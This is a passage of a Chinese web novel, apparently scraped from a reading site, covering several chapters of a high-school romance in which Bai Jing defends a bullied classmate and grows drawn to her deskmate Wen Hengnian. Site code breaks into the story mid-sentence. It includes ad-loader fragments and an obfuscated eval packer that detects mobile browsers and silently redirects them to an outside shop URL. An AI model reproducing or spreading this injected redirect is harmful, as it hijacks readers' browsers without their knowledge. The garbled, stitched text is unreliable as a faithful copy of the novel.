柏璟拍了拍衣服上被墙面蹭到的灰尘,叹了口气:“没事,你不用这么紧张。” 女生怯生生的抬头,在看清楚柏璟长相的那一刻,呆滞住了:“是你?” 柏璟蹙眉,她们认识? “那天在金k附近,你替我解脱……” 说到这儿,柏璟想起来了。 “是你啊?” 女生眼中闪过一丝惊喜,接着往她身后看了看,像是在寻找什么,无果之后眼神又暗了暗:“没想到我们是同一个学校的。” 柏璟那天晚上喝了酒,不太记事儿,便把温恒年那句“同校”的话给忘了:“后来那个人有再找过你吗?” “找不找的…也不重要,同一个班级里的,避免不了天天见的。”女生低下头,语气生出几分落寞。 “你是哪个班的?”柏璟问。 “高三四班的。”女生苦笑着回答。 “为什么不跟家里说转个班呢?”柏璟提议道。 这句话却戳中了女生的某个心思,她抿唇:“家里不会管我的。” 柏璟沉默,今天不宜说话。 “我在二班,如果她再找你,就来我们班找我,我叫柏璟。” 说这话的时候,她早把黎妆那些话抛在了脑后。 女生说:“叫我程娅就好,你帮了我很感谢你,只不过,我不能老是麻烦你。而且…” 她在班里就是那群人的“跟班”,被使唤被欺负都是经常发生的事儿,总不能每次都跟对方说。 程娅虽然话没说完,点到为止的语气柏璟还是听出来了她的意思。 沉思了几秒时候,柏璟道:“放心,我帮了你,就会帮到底的。” 程娅只以为她在安慰自己,友好的笑了声:“谢谢你,你是唯一一个对我这么好的人。” 唯一这个词太沉重,重的柏璟心尖一颤。 大课间的时候柏璟给柏盛昌去了个电话。 男人没想到她会主动联系自己,接电话接的异常积极:“喂?阿璟吗?” 柏璟清了清嗓子,求人办事总得有个态度:“那个,爸,我想让你帮我个忙…” 挂了电话,柏璟舒了口气。 旁边温恒年看她一副如释重负的模样,询问:“怎么了?” 事儿办成了,柏璟心情好得很:“你记不记得那天晚上我们帮的那个女生。” 温恒年:“?” 柏璟道:“早上那会我在楼下碰到她了,她似乎还在被欺负。” 这种事儿对温恒年来说已经见怪不怪了,表面上风平浪静的校园,背地里欺凌的事情并不少,听到这个消息他毫不意外,只是诧异柏璟的态度:“你还要继续管?” 清醒状态下的柏璟可说不出那天晚上那番闹鬼的宏言,点头说:“嗯,我给我爸打了个电话,让他联系下这边认识的关系,帮程娅转个班。” 连名字都知道了。 温恒年枕在手臂上看她:“我同桌还是个善良的人呢?” 柏璟想起来他把自己照片做成表情包的事儿,有些咬牙切齿:“温恒年,那个图片你没有发给别人吧?” 那人却装傻:“什么图片?” “你。”柏璟张了张嘴,又咬着下唇,“就那个表情包。” 少年眼睛里浮起几分调笑:“你求我,我就不发。” “?” 眼看着温恒年得寸进尺,柏璟没有惯着别人的习惯:“那你随意。” 意识到自己马上把人惹毛,温恒年及时顺毛给了个台阶:“请我吃饭吧,吃完这顿饭我就把图删掉。” 这个要求不过分,毕竟来之后吃他的也不少。 柏璟想了想,道:“可以,什么时候?” “今天放学?” “今天不行。” 柏盛昌给她寄的母亲的东西到了,她得早点回去拿。 温恒年无奈:“你好忙啊柏大小姐。” “换个时间。”柏璟自知理亏,哄他说着, “那就再定。” 上课铃敲响,给二人商量的时间结束。 中午放学的时候,黎妆偷偷溜到了学校门口,给柏璟发了短信让她来附近餐厅找自己。 找到人的时候,柏璟有意吓一吓对方:“你还挺大胆,不怕班主任发现你已经没事儿了?” 黎妆长哀一声:“我在家都快憋死了,简侵这两天不知道忙什么,也没怎么联系我,早知道不请这么多天了。” “现在知道想人家了?”柏璟逗她。 “好几天不见,没什么玩头,可不想嘛。”黎妆胳膊肘支在桌子上托着脸等待上菜。 这是家日料,柏璟不太爱吃这些分子食物,没怎么动口,倒是黎妆吃的津津有味。 吃饭的时间留的不多,看她快吃完,柏璟看了眼手机,差不多要回学校了。 “那我先走了?” “等我下,一块儿出去。” 北方的天气不稳定,早上晚上透着凉,中午太阳当头,还是晒的人几乎睁不开眼。 柏璟用手挡着阳光,隔绝开一些光亮。 “那个是不是温恒年?”黎妆搭上她肩膀,一只手指着路边的人。 柏璟眯着眼睛看仔细了,确实是。 “我叫的车到了,就先走了。”黎妆没上去打招呼的心思,跟柏璟道了再见便跑向出租车。 不知道是不是错觉,走的离温恒年近了些之后,柏璟身上的炎热都被驱散了几分。 “人形冰凉贴喔。”女孩儿嘟囔一句。 温恒年听到声音,转身看向她:“你怎么在这儿?” 柏璟:“黎妆叫我出来吃饭,就在附近。” “哥哥!” 她话音还没落,一个细细的,略显娇气的声音传过来,柏璟原想走开的脚步又停了下来。 “哥哥你怎么不等等我跟爸爸啊?” 柏璟好奇,没忍住朝着那个声音看去,那小女孩是在叫温恒年。 浅色的裙子,圆圆的脸,跟温恒年长的没有一点儿相像之处。 “你妹?”柏璟问道。 温恒年“嗯”了一声。 “这个姐姐是谁啊?”小女孩抬头望着柏璟,或许是太阳光的原因,小孩子 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 看她的时候有些费力,被那光刺的直眨眼。 柏璟弯了弯身子,双手撑在膝盖上,凑近小女孩道:“是一个学习好很听话的好学生。” 小女孩不怕生,一双小手捧上柏璟的脸,认认真真道:“姐姐你长的真好看,是哥哥的女朋友吗?” “……” 什么眼神儿,年纪轻轻的,饭可以乱吃,话可不能乱说。 柏璟压下嗓子眼里的脏话,眯眯眼笑着:“姐姐是乖小孩儿,不谈恋爱的!” 少年站在一旁,落下来的影子正好挡着柏璟头顶的光,听她讲了几句玩笑话,原本有些冷峻不耐的表情稍微松动下来:“温怡竹,爸爸呢?” 小女孩把手从柏璟脸上移开,身高只到温恒年大腿处,伸高手臂揪着他的衣角:“爸爸去买冰激凌了,我给爸爸说了,哥哥最喜欢吃巧克力味道的!” 温恒年淡淡的朝着冷饮店看了眼,果不其然,温展排队的身影就扫进了眼里。 “我带你过去找爸爸,哥哥跟这个你喜欢的漂亮姐姐约好了,要一起去学校。”温恒年声音低沉道,语气有些古怪, 柏璟用舌尖抵了抵脸颊内壁,她什么时候答应要跟他一起回学校了? “所以说漂亮姐姐真的是哥哥的女朋友吗?”温怡竹小名娇娇,说话人如其名,跟撒着娇儿似的,只是说出的话有点太过于童言无忌。 “温怡竹,以后别什么话都跟着学。”温恒年伸出手轻轻捏了捏小女孩儿的脸颊,“她不是我女朋友,我们都还小,不能早恋,懂吗?” 小女孩似懂非懂的点了点头,接着目光一转:“爸爸回来了!” 温恒年撇开头,似乎不太想看见那个人,随着这句话说完,身子紧绷起来。 小孩子心性的温怡竹并没有察觉出来什么。 但柏璟确实肉眼可见的看出来了,少年脸色很差。 温展过来后,手上拿了两个冰激凌,都是香草味的。 温怡竹对比了之后,疑惑道:“爸爸,哥哥最爱吃的巧克力味呢?” 温展没有看向旁边站着的少年,把冰激凌递给他一个之后,弯腰抱起小女孩,喜笑颜开:“哥哥长大了,不喜欢巧克力了,我们娇娇啊心里只想着哥哥呢?” 他连“店里没有巧克力味”这种拙劣的理由都不愿意说一个。 “我先回学校了。”温恒年没心情看这俩人上演感情戏码,平静的说了一句之后便离开了。 柏璟默默的吃瓜吃了一半,也跟着他身后走。 快要迈进校门的时候,温恒年突然停住了。 柏璟没注意到,一个猛子直接扎在他身上:“操……” 她下意识的开口轻骂一声,接着往后退几步:“怎么了?” 温恒年转过身,目光路过柏璟的身形往后投去,落在了那对儿还没走远的父女处,眼神幽深。 大中午的,硬是给柏璟看出了一身冷意。 “你是不是,跟你爸关系不太好?”她下意识问着。 温恒年收回目光,盯着她看,没有说话。 通过刚刚那画面,又联想到之前宋京承说他不回家住,她大概能猜到温恒年在家里处于一个什么情形,柏璟舔了下唇:“我跟我爸关系也很差,你放心,我嘴很严,不会说出去的。” 温恒年听到这话,静静的,末了,他似乎是笑了一下,也可能是柏璟的错觉,接着少年转身进了学校。 12.酩酊 高中是两周一放假。 第二周周五下午,各科老师来发了作业后,还得开个小班会总结。 班主任简单讲了几句,把温恒年叫了出去。 比起前几天,黎妆近日来气色很好:“外婆听说你来襄城的事儿了,想见见你,今天早早儿的就出去买菜,等会儿去我那儿搓一顿?” “行。”柏璟答应着。 两人商量这事儿的时候,旁边一男生路过她们好几个来回,踌躇不定的犹豫着什么。 黎妆被绕的心烦,干脆主动问他:“你是找不到垃圾桶?” 男生听她们先开口,挠了挠头,他皮肤黑,但被黎妆这么一问,硬生生给人整的脸侧通红,硬着头皮凑到这祖宗跟前:“我,我找柏璟的。” 柏璟:“?” 男生见她看过来,慢吞吞开口:“我有个外校的朋友特想要你联系方式,你怎么看?” 柏璟一挑眉,她能怎么看? “坐着看。”女孩儿说道,语气听不出来对这事儿秉着什么态度。 “赵阁,你要是三句话打不出一个屁,就别说了。”黎妆说完,表情有些一言难尽。 估算了一下对方把自己捏成团扔出去的几率有多大,赵阁没再触霉头,把心提到嗓子眼,大着胆子继续说:“我朋友挺帅的,柏姐姐你要是不想多聊的话就当微信联系人里面躺了个死人行不行。” 语气稍微有点可怜巴巴。 “这么积极?收人好处了?”黎妆调侃着,然后看向柏璟,“我们柏姐姐怎么想?” 柏璟刚想拒绝,抬头便看见了黑板上白刷刷写着的大扫除值日名单——柏璟,张博,温恒年,严其。 “……”柏璟一口气噎着,然后慢慢叹出来:“我也想帮你,可惜今天我——” 说罢,她抬眼引着赵阁的目光往黑板上看去。 赵阁是个一点就通的,瞬间心知肚明:“放心姐!不就是大扫除嘛!往后你这一学期的我都给你包了!” “什么人物啊?加个微信还能换你给人当牛做马?”旁边的黎妆有点好奇,平时赵阁跟他那几个朋友放了学就恨不得插双翅膀从教室直接飞到网吧的人,居然心甘情愿留下来浪费时间? 黎妆:“要不你问问有没有人要我的微信?我也想让你帮我做值日。” 赵阁一边恭恭敬敬把手里早就准备好的空白纸条递给柏璟,一边对着黎妆求放过:“就我一……以前在职高上学的朋友,妆姐你就别玩儿我了,这附近学校里谁不知道简老大追你呢?我还不想英年早逝。……对,柏姐姐您写在这张纸条上就行。” “别人要我联系方式,跟简侵什么关系。”黎妆心情不爽。 赵阁扁了扁嘴,说:“简老大不会想让你跟这个人有接触的。” 这话说的点到为止。 黎妆在脑子里搜索了一圈,最终把目标定在一个人身上:“你说的这个朋友,他不会姓岑吧?” 赵阁屏住呼吸:“这可是你自己猜的,我什么都没说。” “我操。”黎妆直直的骂了。 柏璟诧异的看着她:“怎么了?” 黎妆表情古怪,说道:“那b跟简侵倒没多大过节,不过跟温恒年是死对头,俩人一个初中的,同校那会儿两方闹得挺难看的。” “叫什么啊?”柏璟问。 “岑周屿。” 周瑜?我还柏诸葛呢。 “岑周屿?” 黎妆念出来这个名字之后,另一道声音跟着重复了一遍。 温恒年走到几人旁边,看了看柏璟桌子上的字条儿,拿起来扫了眼,又把目光放到赵阁身上。 赵阁被盯得一颤,把那纸条抢过来装口袋里,接着对柏璟挤眉弄眼几下:“那我先去替您大扫除去了,你们慢聊。” 一副任务完成的如释重负模样。 温恒年目光重新落到柏璟身上,轻问道:“你怎么认识他?” “怎么?”柏璟耸了耸肩,“我认识不得吗?” 温恒年沉默几秒,接着无奈道:“柏璟,你知不知道你这张嘴,迟早是要吃亏的。” 柏璟知道他是在说自己说话带刺儿,眨了眨眼:“我家柏老头说了,我的嘴生下来就是享福的,吃不了一点儿亏。” 黎妆总觉得这中间有点硝烟味儿,急忙制止两人的对话:“行了行了,温恒年你也别太敏感,就岑周屿托赵阁问阿璟要个联系方式而已。” 教室里人走的差不多了,温恒年没再跟她说什么,只是眼神暗了暗。 等两人出了教室,他靠在桌子上摸出手机点开跟宋京承的聊天框: 【岑周屿最近在做什么?】 大约过了五分钟,温恒年收拾完东西准备走,那边才有了回应! 【不知道啊,来职高之后我们几个跟他那群人不怎么接触,怎么?招惹到你了?要不我去打听打听?】 少年指节分明,修长的很漂亮,也白,只是这双称得上是漂亮的手,打字力度稍微有些吃劲,像是带点燥意: 【没招惹我,帮我多留意下他最近的动静】 这句话发出去之前,温恒年又想起来柏璟刚刚那副欠登儿的样子,又把消息条删掉:【不用了,没事儿】 与其背地里帮人一把,当事人毫不知情,还不如等她亏到嘴边他再去捞人。 到黎妆家的时候,老太太正在往外端菜。 柏璟刚想去厨房帮忙,就看见那间从那间屋门走出来的另一个人。 是许久未见的简侵。 柏璟往后退了几步,看向黎妆:“他怎么也在?” 黎妆似乎并没觉得有什么不对:“咱们都在上课,外婆自个儿一个人收拾这么多年东西我不放心,正好下午简侵回来,就让他来帮忙了。” 她问的不是这个意思。 柏璟扬了扬下巴,复杂道:“你外婆她……?” 黎妆:“哦,她认识简侵的。” 见二人回来,老太太放下手里的活儿,上前来捏了捏柏璟的手臂:“这就是小璟啊?听我们妆妆从小念到大的好朋友,今天终于见到了。” 柏璟乖巧道:“外婆好。” 接着把提前准备好的东西往上提了提:“这是买的一点儿水果,还有扬市那边我爸寄来的特产,特意嘱咐我带给您的。” 这话倒没说错,柏盛昌确实准备了一些,为了防止柏璟遇到什么事儿,身边没个人照看。 通俗点儿讲,就是好处换人心。 只不过她不喜欢柏盛昌那一套说辞。 简侵把菜上完,洗了个手从行李中拿出个盒子扔给黎妆:“上次在金k答应你的东西。” 听到这话,黎妆显得有点兴奋:“谢啦。” “你老是叫人小简给你买东西带东西,也不害臊。”外婆点了点黎妆笑出来的浅浅的梨涡,佯装嗔怪道,“也就小简 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是个好人,换了别人谁愿意被你使唤。” 这话说的柏璟心底一阵儿微颤:简侵哪儿看起来像个好人了? 恨不得把“我很不好惹”这五个字写在脸上好吗? 岑周屿的好友申请发过来的时候,柏璟正往嘴里塞着菜,一边不忘夸赞外婆的手艺好,又在得知这菜是简侵做的之后,差点噎死自己。 “咳咳…”柏璟艰难的把嗓子眼里的东西咽下去,又喝了好几口书顺气,才点开那申请看。 头像花里胡哨的,她点击了同意之后,那消息条跟温恒年的放在了一块。 两种迥然不同的风格一对比,柏璟突然觉得温恒年那条看起来格外的顺眼。 她微信好友少之又少,也不是她自做清高不加别人,而是真的没几个人愿意加她。 来要联系方式的人她看一眼就知道对方想做什么,是个什么成分她心里明白的透透的。 至于这个岑周屿,也是碍于她觉得赵阁是个不错的人,不过抛开这点,岑周屿在她眼里跟那些人没什么区别。 似乎只是占个联系位置,加上之后那边并没有什么动静。 次日睡到大中午起来,才看见朋友圈上提示的红点。 凌晨三点多的时候,岑周屿发了一条视频,柏璟随手点开,炸耳的音乐声瞬间灌入耳道,震的她耳膜一阵一阵发疼。 她低低的骂了声“操”之后,把这人朋友圈屏蔽了。 过星期也不能休息,柏璟中午草草对付了几口,就看见班级群里发来的排练公告——要求下午到学校小礼堂排最后一遍。 一时间群里抱怨满天飞: 【不都排过好几次了?还去啊?】 【就是,放假都不让人好好休息】 发公告的人是班长,这个群是班里人另外建的,没有班主任。 被集体这么一控告,班长也有点委屈: 【跟我说有什么用呢?这是老班的要求,你们找她抗议去啊】 这话发出来之后,刷屏的人少了些,偶尔冒出来几句也都是班里面的刺儿头,很快被忽视过去。 柏璟懒得找衣服,干脆把那没穿过几次的校服外套往身上一披,就这么简简单单的出了门。 打了车顺路去接上黎妆。 昨天晚上吃完饭柏璟就从她家离开了,也不知道后来又出去干什么了,见到人的时候对方满脸憔悴。 活生生老了好几岁的感觉。 “怎么了这是?”柏璟出门前往衣服口袋里塞了瓶果汁,这会儿正好派上用场。 黎妆接过去猛灌几口,口干舌燥的感觉才止住了:“别提了,你走之后简侵他朋友喊他出去喝酒,这种场合对我来说诱惑力多大啊,我哪儿知道今天还得去排练,喝到后半夜快凌晨才回来的,要不是渴醒,我还真不一定看得见那消息。” 到礼堂时,里面围了不少人,柏璟拖着精神萎靡的黎妆走过去看才发现,还有一群别的班的。 “明明是我们班跟吴主任说好了的,你们这算什么啊?”班长正在跟人争口舌。 柏璟在一旁听了一会儿才了解情况,他们班跟吴主任申请了,但是今天来的时候被四班的人捷足先登。 她踮着脚往人堆里看了眼,却看见了一个被人搂着肩膀畏畏缩缩低着头的人影儿。 柏璟开口叫她:“程娅?” 那人影儿循着声音抬头,像是看到了救星一般:“柏璟。” 13.酩酊 揽着程娅那个女生大概就是那天晚上堵她的人,只是跟第一次见面时夸张的蓝色造型不同,头发染黑了。 见有人招呼自己的小跟班,她伸手故作亲昵的掐了掐程娅的脸,不过也能从程娅脸上的掐痕来看,她用力并不小:“小贱人还找靠山了?” 柏璟皱着眉想过去把人带过来,被一旁黎妆扯了扯手腕:“怎么了?” 她把那副画面指给黎妆看:“那个被欺负的女生,就是之前在金k我跟温恒年碰到的。” 黎妆眯了眯眼,强忍着胃里的翻腾,打了个酒嗝:“搂着她那女的哪门子路来的?这么嚣张?” “我过去看看。”柏璟说着,便动身往前。 见柏璟朝着自己的方向走过来,程娅又紧张又害怕,女生却面不改色,甚至随着柏璟越走越近,还挺了挺身子。 “想干什么?这可是学校。”女生似乎觉得这句话能震慑对方,得意的弯了弯唇角。 柏璟看都没看她一眼,侧身牵着程娅的手腕,把人往自己这边一拉,气势是挺足,可惜没拉得动。 “这小贱……程娅是我们四班的,你未免太胆大了,当着我们的面欺负人啊?”女生声调提高,引来本就对峙着的两方的目光。 黎妆咽了口唾沫,脸上表情皱巴巴的拧成一团:这话论谁来了不说一句倒反天罡? 班长脸色很难看,她嘴笨,从进礼堂到现在都没跟四班的人争出个什么结果,现下柏璟又闹这一出,让她心情更掉下去一层。 她推开人走过去,抿唇问:“柏璟,怎么回事?” 听得出来班长语气不太好,柏璟松开些力度:“程娅是我朋友,她被欺负了,我不能帮吗?” “你哪只眼睛看见我欺负她了?”女生反驳。 柏璟指向程娅脸上的痕迹:“这是狗掐的?……不止这次,之前在校外金k那次,还有学校里没少干这事儿吧?” 女生仍然嘴硬得很:“谁能证明这我做的?你别张口就来啊,拿出点证据。” “学校里发生这种事情,如果报个警的话,调监控应该不是什么困难的事儿。至于校外那次……”柏璟看了眼女生。 “金k旁边胡同也有监控,调出来也不是不行。”一个慢悠悠的声音接上柏璟的话茬。 这一句把几个人的目光都吸引过去,班长吸了口气,到底还没说什么。 女生也自知理亏,被这么多人围着,嚣张气焰也不似刚开始那会儿,心虚的把手从程娅身上松开。 “行了,散了吧,大家都同一个学校的,抬头不见低头见,不至于搞得这么尴尬。”见自己班的人无话可说,四班班长才挤了过来帮腔。 那女生冷哼一声,侧身拿过自己的东西便离开。 四班的节目是一个流行舞蹈,女生恰好是领舞,打头的一走,剩下的也没接着排练的必要,低声讨论了几句也跟着散去。 “柏璟,谢谢。”程娅目光闪动,眼底浅浅的带些泪痕。 柏璟松了口气:“我还以为多难搞,手心都出汗了。” “你刚刚那模样,正义的穿上警服就能考警校了,可不像你说的这么紧张。”温恒年跟着损她一句。 看在他也帮忙说话的份儿上,柏璟没跟他计较。 班长不知道想到什么,脸色始终都不太好看,指挥着几个人把钢琴搬上台,调了站位便招呼人开始排练。 前奏是温恒年自己改编了一小段,原本宛转悠扬的旋律,被这么一改编,忧伤感更上一重。 “长亭外,古道边,芳草碧连天…” 第一小段是合唱,班里面原本报了独唱节目那个女生,也被班主任选了中间小段独自唱。 轮到那女生时,柏璟想,这个班主任算是她长这么大以来最好的一个了,安排的挺到位。 排练结束后,赵阁忙罗着叫人去操场上打篮球。 “打篮球为什么不去体育馆?要在学校?”有人这么问着。 “别提了,这个点,体育馆那篮球场早就被人占了。”赵阁咕哝着,小声道,“而且去年期末考,市第一出在北德一高了,放假的时候约的友谊赛,就这个周末,在我们的场地打。” “操,还有这事儿,我差点都忘了。”那人一拍脑门,骂了一声。 赵阁一脸正气凛然:“学习拼不过,咱们体育这方面可是特长,总不能还输给他们吧?” 可惜早就沉溺在书堆和知识中的这群高三生,对这种无所谓的竞争失去了兴趣:“你还不如多背几道题,下次考试还能拉高一下咱们班的平均分,特别是你那数学成绩,吊车尾。” 赵阁瘪瘪嘴:“数学那玩意儿?是给人学的?” 这话刚好被班长听到:“……你是想多写几份检讨是吧?” 于是 ,校篮球队队长赵阁慷慨激昂的发言到此结束。 “不过咱们缺人啊,叫个谁顶上?”有人这么问了一句,语气稍显无奈。 赵阁眼珠转了几圈,坏主意便上了头,凑到柏璟身边:“柏姐姐…” 柏璟如临大敌,怪异的瞧着他,一字一字慢吞吞道:“你不会是想让我上吧?” 男生连连摆手:“北德一高罪不至此。” 接着男生努努嘴,示意柏璟看向一旁站着的温恒年:“我是想问问咱们温哥的。” 柏璟不确定的指了下自己,你这意思是让她去问这尊大佛? 赵阁使劲儿点头,并向她投去一个祈求的目光。 柏璟挑眉,学着温恒年的模样双手插在口袋里,今天碰巧得很,两人都裹着校服外套,在一群花枝招展的便服中格外显眼。 她试探性的伸出一只手指戳了戳少年的肩胛骨。 不出一秒,对方便缓缓转了个角度,跟柏璟对视上。 先撩者却愣住了。 柏璟是没想到这个对视这么要命,她浑身像是先过了电一般,从天灵盖开始往下发麻。 她一向觉得自己脸皮够厚了,可当下脸上传来的热度提醒自己,她确实是因为这么一个简单且无杂质的对视,脸红了。 “……看什么看。”柏璟压下心头的怪异感觉,嘴上嘟囔一句,接着转身就要拉着黎妆走。 步子还没迈出去,就被温恒年扯着手腕给扯了回去:“你说什么?” 温恒年确实是没听清那一小声,不过对方眼中闪过的那丝惊讶和脸侧的绯红,他却看的一清二楚。 柏璟对自己的古怪第一想法不是好奇,而是烦躁。 程度堪比当年初恋站她面前流泪质问她为什么要分手一样。 被温恒年这么一拉,手腕上那段不属于自己的温度瞬间点燃全身,柏璟瞪大眼睛甩开他,却又觉得对方无辜,是自己太大惊小怪:“……赵阁找你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13879124|146054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被点到名的赵阁:“……” 强制性压下心里的不适感之后,柏璟才好受一点。 冷静下来,她把这种反应归算于自己可能太久没跟男生离得这么近导致的后果。 一向心大如牛的柏璟也没继续往心里去。 几乎被拖着走出礼堂,还在状况之外的黎妆不解:“你俩怎么了?之前不相处的挺融洽的?这两天跟嗑了弹药一样。” 柏璟欲言又止,反问她:“你记得初三时候我追的那个男生吗?” 黎妆点了点头:“嗯,记得,纯情小男孩,说考上同一所学校就跟你在一起,后来不考上同一个高中了?” “考上了,但是没谈几天,就分了。”柏璟拽着衣角上的线头。 这个动作黎妆很熟悉,是她迷茫慌张的表现。 “然后呢?”黎妆问。 “他当时问,为什么费那么大力气追上他却又不好好在一起,刚刚的情况跟那次被问一样,让我很烦躁,想快点逃跑。”柏璟闭了闭眼,说道。 黎妆还是没能明白她的意思:“那跟温恒年有什么关系?” 柏璟:“……” 她有些泄气:“算了,没事。” 黎妆那颗被酒精浸泡的脑子终于稍微有那么一点醒悟:“不是,你?……喜欢温恒年那种的?” “……也不算喜欢。” 可惜对方根本没把这句话听进去。 黎妆捏捏她的脸:“哎哟,我说怎么脸突然这么红呢,我还以为你被温恒年气的红温了。” “……”这到底是谁不开窍? “没事儿,温恒年虽然平时挺欠一人,但据我所知,感情史还挺干净的,没什么花边儿绯闻。”黎妆说着,看上去比自己谈恋爱还开心,“我还以为你要凑合着跟池潭生那小子过一辈子呢。” 提到这个人,她突然有些沉默,又道:“池潭生不知道这个事儿吧?” 柏璟摇头:“我自己都是刚知道的。” “难搞,按他的脾气,知道了还不得连夜飞来襄城替你把关。” 果然不能背后说人,刚提到池潭生,那人的电话便打了过来。 柏璟莫名心虚,毕竟自己当时答应过对方不会在这儿交比跟他更好的异性。 不过,她也没打算把温恒年当朋友: “什么事儿?” “柏小璟同学,是不是我不联系你,你就不打算主动联系我了?”池潭生语气有点恨铁不成钢。 柏璟:“你这不是坐不住联系我了?” “不跟你计较这个,月底我飞襄城,要不要给你带点这边儿的吃食?” 挂了电话,柏璟一脸麻木。 黎妆问:“怎么了?” 柏璟叹了口气,突然觉得脑子不够用:“他说他月底要来襄城。” “我靠,我现在怀疑池潭生是不是在你身上按了监控。” “这事儿先就此打住吧,也许就是个错觉呢。” 她说着,以防黎妆露馅,还多警告了一句:“你不许去探温恒年的口风。” 吃一堑长一智,柏璟永远不懂这个道理。 她眼看着黎妆耸了耸肩,目光越过自己看向后面。 “探什么口风?” 这声音就是温恒年的。 柏璟身体一僵,把黎妆那憋笑的模样尽数收在眼底:“……” 14.酩酊 柏璟第一次见到岑周屿那张脸,就是在这场篮球赛上。 赵阁说的那么激情澎湃,她原以为是什么大型联赛。 柏璟耳根子软的很,耐不住这人的撒泼好话,只好拉着黎妆来给赵阁这队人加油助威。 天气挺冷,柏璟却还是一身短裙,纯白颜色,款式简单,看上去也颇为清纯,只是黎妆怕冷,看一眼就忍不住往自己身上代入,觉得那风吹的自己瑟瑟发抖。 “怎么还有职高的人?”柏璟扫了一圈,一眼看见顶着一头黄毛的那个男的和宋京承一群人。 “来凑热闹的吧?”黎妆挽着柏璟的胳膊,她个头高,身形细长,对比起来,柏璟这种本不矮的竟然也显得有些娇俏。 襄城一高的篮球队赵阁打的主力,摩拳擦掌的样子让柏璟隐隐约约有些激动。 虽然她不融合集体,但是身在这种场合当中,也避免不了被这种氛围感染到。 宋京承同样的,远远儿的便看见了混迹于人堆当中的柏璟。 基于之前“打招呼”的事件,硬是挤过人堆凑过来问了声好:“嗨,还记得我吗?温恒年的朋友。” “记得。”柏璟点了点头。 这会儿比赛还没开始,赵阁带着人在休息区域做热身,一套动作还没做完,就被一双手拍了拍肩膀。 力度挺大,赵阁险些被拍的趴在地上。 回头一看,是岑周屿。 来者穿着一件纯黑的棒球外套,头发剃的很短,眉目之间透漏着一股子凶意,一般胆小一点儿的跟他对视一下就浑身不自在了。 他年龄比同届的学生大一岁,入学晚,进职高之前在社会上爬摸滚打了小一年,这个城市里夜色场所当中那些大混混小混混基本都能跟他照个眼熟。 赵阁本身是不愿意跟他有什么牵扯的,或许是环境使然,他一开始也瞧不上这种整天混日子度过的人。 直到去年寒假的时候,他跟着朋友去酒吧玩,被营销骗酒,险些把人生第一场群架交代到酒吧里,那时候正好碰见岑周屿,这人就顺手帮了他一把,不仅撑足了面子,还让那营销骗的酒如数吐了出来。 “岑哥,你来了。” 感激是感激,后来两人关系也说的过去。 只是他摸不准岑周屿的脾性,这人向来都是万花丛中过,片叶不沾身,他没胆子问岑周屿对柏璟是个什么态度,也不好意思反口去问柏璟。 “嗯,今天好好打,晚上请你撸串儿喝啤酒。”他不似周围男生,身上浑然还有少年气,岑周屿给人的第一直觉就是——这是个危险的成年男人。 赵阁心里想着别的事儿,自然有点蔫蔫儿的,祈求着岑周屿别跟柏璟正面对上:“喔?好。” 岑周屿也不在乎周围都是群未成年的小孩儿,大喇喇得扔给赵阁几盒烟,粗的细的爆珠的都有。 赵阁有点尴尬,伸手拦了一下:“岑哥,我这些朋友,都不抽烟的…” 岑周屿眉头一皱,凶劲儿更甚:“你还有这么老实的朋友呢?” 男生笑了笑:“都是我同班同学。”又弯身把烟一盒一盒收起来之后整整齐齐码在桌子上。 班长看着这边情况有些不太对劲,连忙走过去扯了扯赵阁的胳膊:“怎么回事儿?被欺负了?” 柏璟熬夜熬的这两天视线有点模糊,注意到这动静,她眯着眼睛去看,是一个从来没有见过的人在那边跟赵阁他们说话,且赵阁的行为看起来也挺局促。 “过去看一下?”她戳了戳黎妆的腰窝,引来那人一阵发笑。 还没等黎妆给她提醒那个人是谁,柏璟便已经迈开步子朝着那方向走过去了。 班长过来的时候正好看见赵阁把烟往回收那一幕,职业病立刻就突显出来:“赵阁,你还敢抽烟哈!?” 岑周屿被这一声给吸引着回身去看,语气是在指责,但是声音有点过于娇滴滴了。 先对上号的不是声音的主人,而是正朝着他们走来的那位冷着脸的女生。 她眉细长,眼尾上扬。 几乎一瞬间的,这张脸就跟通讯录里面那个还没来得及备注的人对上了。 岑周屿刚开始问赵阁要柏璟联系方式并不是因为自己多喜欢她,只是听到别人说过这女生长的极其漂亮,而且自转学以来,还没人能够得着她的眼光,一时之间来了兴趣。 加上微信之后,对方朋友圈连个毛线都没有,兴趣也就消失殆尽了。 他不确定面前这女生是不是自己加的那个,回过神的时候用胳膊捣了捣赵阁:“兄弟,后面这美女也是你们班的?” 赵阁一听这话便知道岑周屿还没来得及跟柏璟聊天,先是松了一口气:“对,我们班这学期新转来的插班生。” 男人的目光一直黏在自己身上,通过打量透漏出来的直白让柏璟倍感不适,下意识的往后面退了几步。 她皱着眉看向赵阁:“你们认识?” “呃,啊?对!”赵阁愣了一下,才反应过来是柏璟她们误会了,“这是职高的,我哥,岑周屿。” “你就是岑周屿?”柏璟鼻尖皱了一下,本就对这人印象不怎么好,现下更觉得挺烦的。 岑周屿了然,看来他没猜错:“怎么?美女认识我?” 柏璟轻飘飘说道:“不认识,还有事,先走了。” 接着不给别人反应的时间,转身便要离开,却撞上晚她一步过来的黎妆:“柏璟,走那么快干嘛。” 她说完,意识到气氛有些不妙,歪着身子往那边看了看:“哟,岑周屿。” 虽然不认识柏璟,但是因为某位姓简的,跟黎妆也算打过几次照面, 听黎妆这么叫人了,也便确定下来主动出击,学着柏璟的口气:“你就是柏璟?” 被点到名字的女生有些烦躁:“怎么?” “没事儿,说起来咱俩还有微信来着,你记得不?” “不记得,要是觉得多余我们可以互删。”说罢,不再听对方接下来要说什么,对黎妆使了个眼色,“走吧,去买几瓶水。” 